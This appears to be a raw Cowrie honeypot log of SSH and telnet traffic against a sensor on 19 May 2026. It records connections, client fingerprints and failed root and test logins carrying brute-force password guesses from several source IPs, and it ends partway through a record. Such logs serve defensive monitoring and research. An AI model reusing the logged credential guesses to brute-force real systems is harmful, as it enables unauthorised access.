{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:59.305295Z","src_ip":"62.133.62.83","session":"69d5204e1c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"951357","message":"login attempt [root/951357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:59.553281Z","src_ip":"62.133.62.83","session":"69d5204e1c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:00.637982Z","src_ip":"62.133.62.83","session":"69d5204e1c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.48328351974487,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:04.116534Z","src_ip":"192.119.13.58","session":"57ba97a91c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":42398,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f66a1662a75","protocol":"ssh","message":"New connection: 94.159.98.239:42398 (159.203.135.109:22) [session: 6f66a1662a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:09.272518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:09.416525Z","src_ip":"94.159.98.239","session":"6f66a1662a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:09.420530Z","src_ip":"94.159.98.239","session":"6f66a1662a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elizabeth","message":"login attempt [root/elizabeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:10.451581Z","src_ip":"94.159.98.239","session":"6f66a1662a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:11.738486Z","src_ip":"94.159.98.239","session":"6f66a1662a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52474,"dst_ip":"10.17.0.5","dst_port":23,"session":"7427b1753378","protocol":"telnet","message":"New connection: 192.119.13.58:52474 (10.17.0.5:23) [session: 7427b1753378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:20.643458Z"}
{"eventid":"cowrie.session.closed","duration":0.005929231643676758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:20.649243Z","src_ip":"192.119.13.58","session":"7427b1753378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f40a39f61f9","protocol":"telnet","message":"New connection: 192.119.13.58:56478 (10.17.0.5:23) [session: 5f40a39f61f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:21.608999Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42264,"dst_ip":"10.17.0.5","dst_port":23,"session":"0412afaffa6b","protocol":"telnet","message":"New connection: 192.119.13.58:42264 (10.17.0.5:23) [session: 0412afaffa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:25.294832Z"}
{"eventid":"cowrie.session.closed","duration":44.182873487472534,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:27.730772Z","src_ip":"192.119.13.58","session":"d536e9b8e690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53434,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eecf9dd55f7","protocol":"telnet","message":"New connection: 192.119.13.58:53434 (10.17.0.5:23) [session: 5eecf9dd55f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:28.715494Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f8cd3e97a74","protocol":"telnet","message":"New connection: 192.119.13.58:53062 (10.17.0.5:23) [session: 7f8cd3e97a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:36.802496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60786,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d325aa3545c","protocol":"telnet","message":"New connection: 192.119.13.58:60786 (10.17.0.5:23) [session: 9d325aa3545c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:47.036449Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":44536,"dst_ip":"159.203.135.109","dst_port":22,"session":"daaa28e0bdd5","protocol":"ssh","message":"New connection: 103.75.183.219:44536 (159.203.135.109:22) [session: daaa28e0bdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:49.126295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:49.131514Z","src_ip":"103.75.183.219","session":"daaa28e0bdd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:49.371772Z","src_ip":"103.75.183.219","session":"daaa28e0bdd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:50.091892Z","src_ip":"103.75.183.219","session":"daaa28e0bdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:51.335750Z","src_ip":"103.75.183.219","session":"daaa28e0bdd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec111f00c84","protocol":"telnet","message":"New connection: 192.119.13.58:50212 (10.17.0.5:23) [session: 1ec111f00c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:52.338652Z"}
{"eventid":"cowrie.session.closed","duration":32.91858768463135,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:02:54.527504Z","src_ip":"192.119.13.58","session":"5f40a39f61f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72828197479248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:08.530667Z","src_ip":"192.119.13.58","session":"7f8cd3e97a74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.47266888618469,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:10.767384Z","src_ip":"192.119.13.58","session":"0412afaffa6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.44334173202515,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:15.158721Z","src_ip":"192.119.13.58","session":"5eecf9dd55f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2138e28fa47","protocol":"telnet","message":"New connection: 192.119.13.58:54494 (10.17.0.5:23) [session: a2138e28fa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:16.948372Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":54624,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a2dcb159dc","protocol":"ssh","message":"New connection: 185.92.182.129:54624 (10.17.0.5:22) [session: f7a2dcb159dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:24.430464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:24.450464Z","src_ip":"185.92.182.129","session":"f7a2dcb159dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:24.495313Z","src_ip":"185.92.182.129","session":"f7a2dcb159dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abcd","message":"login attempt [test/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:24.686470Z","src_ip":"185.92.182.129","session":"f7a2dcb159dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:25.723479Z","src_ip":"185.92.182.129","session":"f7a2dcb159dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06225323677063,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:26.400835Z","src_ip":"192.119.13.58","session":"1ec111f00c84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.52390480041504,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:28.560211Z","src_ip":"192.119.13.58","session":"9d325aa3545c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"9662449ce501","protocol":"telnet","message":"New connection: 192.119.13.58:48862 (10.17.0.5:23) [session: 9662449ce501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:48.553174Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed606fd9e82","protocol":"ssh","message":"New connection: 102.223.92.101:40912 (159.203.135.109:22) [session: 5ed606fd9e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:51.823254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:51.828917Z","src_ip":"102.223.92.101","session":"5ed606fd9e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:52.001611Z","src_ip":"102.223.92.101","session":"5ed606fd9e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test#123","message":"login attempt [root/Test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:52.723823Z","src_ip":"102.223.92.101","session":"5ed606fd9e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:53.900650Z","src_ip":"102.223.92.101","session":"5ed606fd9e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.497291803359985,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:03:58.445570Z","src_ip":"192.119.13.58","session":"a2138e28fa47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c5d7d12035f","protocol":"telnet","message":"New connection: 192.119.13.58:45080 (10.17.0.5:23) [session: 6c5d7d12035f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:06.866987Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36272,"dst_ip":"10.17.0.5","dst_port":22,"session":"426f00f58604","protocol":"ssh","message":"New connection: 193.228.128.84:36272 (10.17.0.5:22) [session: 426f00f58604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:10.922757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:10.931971Z","src_ip":"193.228.128.84","session":"426f00f58604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:11.036273Z","src_ip":"193.228.128.84","session":"426f00f58604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamochka","message":"login attempt [root/mamochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:11.345709Z","src_ip":"193.228.128.84","session":"426f00f58604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:12.451289Z","src_ip":"193.228.128.84","session":"426f00f58604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":60718,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b0cbab6152","protocol":"ssh","message":"New connection: 49.51.202.114:60718 (159.203.135.109:22) [session: 40b0cbab6152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:12.761025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:04:12.766867Z","src_ip":"49.51.202.114","session":"40b0cbab6152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@